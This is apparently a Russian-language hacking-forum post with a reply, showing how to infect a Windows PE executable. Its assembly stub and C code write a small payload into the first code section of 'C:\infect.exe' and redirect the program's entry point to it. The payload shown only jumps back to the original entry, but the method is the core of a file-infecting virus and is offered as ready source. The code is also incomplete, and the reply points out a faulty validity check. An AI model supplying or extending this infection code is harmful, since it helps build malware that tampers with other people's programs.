Это переведённый в байты ассемблерный код который выглядит вот так :
call introGetCurrentEip
introGetCurrentEip :
pop edi ;Узнаем текущий адрес
sub edi,5 ; Узнаем адрес нашей точки вход
add edi,00000000 ;Вместо нулей мы впишем смещение на реальную точку входа относительно нашей
jmp edi
Каково это в действии...
int APIENTRY WinMain(_In_ HINSTANCE hInstance,_In_opt_ HINSTANCE hPrevInstance,_In_ LPTSTR lpCmdLine,_In_ int nCmdShow)
{
//Открыть файл
F=fopen("C:\\infect.exe","rb+");
//после проверить его на валидность
if(PEValide(F))
{
//прочитать PE структуру
hPE = GetPEHEADER(F);
//прочитать первую секцию кода
cSection = ReadSection(F,1);
//Найти смещение Реальной точки входа от нашей
//Точка входа - (наша точка входа)
DWORD offset_to_EP = hPE.OptionalHeader.AddressOfEntryPoint -(cSection.VirtualAddress + cSection.SizeOfRawData - 19);
//Записать смещение в наш ассемблерный код
memcpy(&data[11],&offset_to_EP,4);
//В открытом файле переходим почти к концу первой секции
//Указатель на первую секцию в файле + размер этой секции - 19 байт 19 байт это наш Код в ассамблере
fseek(F,cSection.PointerToRawData + cSection.SizeOfRawData - 19,SEEK_SET);
//Записываем наш код в конец 1 секции
fwrite(&data,19,1,F);
//Меняем точку входа в приложение (При старте приложения переход совершится на наш код а не код программы)
hPE.OptionalHeader.AddressOfEntryPoint = cSection.VirtualAddress + cSection.SizeOfRawData - 19;
//Записываем изменённую структуру в файл
SetPEHEADER(F,hPE);
}
//Закрываем файл
fclose(F);
return true
}
Что мы получаем от этой инфекции файла...
[Ссылки могут видеть только зарегистрированные пользователи. ]
Мы запускаем заражённую нами программу
Она переходит на наш код(безобидный) который переходит обратно на стандартную точку входа.
Тема была создана только для познавательных целей...
Готовый исходник во вложениях!
Вт [Ссылки могут видеть только зарегистрированные пользователи. ]
Функция "Для проверки валидность исполняемого файла" не является валидной, оффсет сигнатуры PE заголовков может варьироватся в пределах одной страницы памяти